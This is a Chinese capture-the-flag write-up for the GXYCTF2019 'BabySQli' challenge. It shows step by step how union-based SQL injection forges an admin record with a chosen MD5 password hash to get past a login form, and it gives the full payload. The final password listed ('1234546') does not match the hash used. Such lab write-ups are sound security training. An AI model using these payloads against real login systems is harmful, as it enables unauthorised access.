码迷,mamicode.com
首页 > 数据库 > 详细

[GXYCTF2019]BabySQli

时间:2021-01-29 11:48:42      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:pass   地方   ima   name   一个   相关   引号   解密   inf   

先随便登陆几个账号,admin的时候提示密码错误
在账号输入框里输入个单引号报错
技术图片

小字典跑一下,419的都是被过滤了
技术图片

admin‘ union select 1,2,3#
#返回pass不正确,说明有三个字段

有个靠脑洞的地方,在返回的页面源码中,有串字符串,先base32解密再base64解密,得到了这个
技术图片

‘ union select 1,‘admin‘,3#
#因为三个字段,猜测应该是id,username,password之类的
#把第二个字段换成存在的admin用户,返回pass错误
#说明第二个字段确实是用户名,那么之前的猜测应该也没有问题了

当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据
技术图片

#password字段用md5加密的确实没想到,也没找到相关的提示
‘union select 1,‘admin‘,‘e10adc3949ba59abbe56e057f20f883e‘#
#构造一个密码为123456的admin用户

payload:
username: ‘union select 1,‘admin‘,‘e10adc3949ba59abbe56e057f20f883e‘#
password:1234546

[GXYCTF2019]BabySQli

标签:pass   地方   ima   name   一个   相关   引号   解密   inf   

原文地址:https://www.cnblogs.com/stayelegance/p/14340189.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!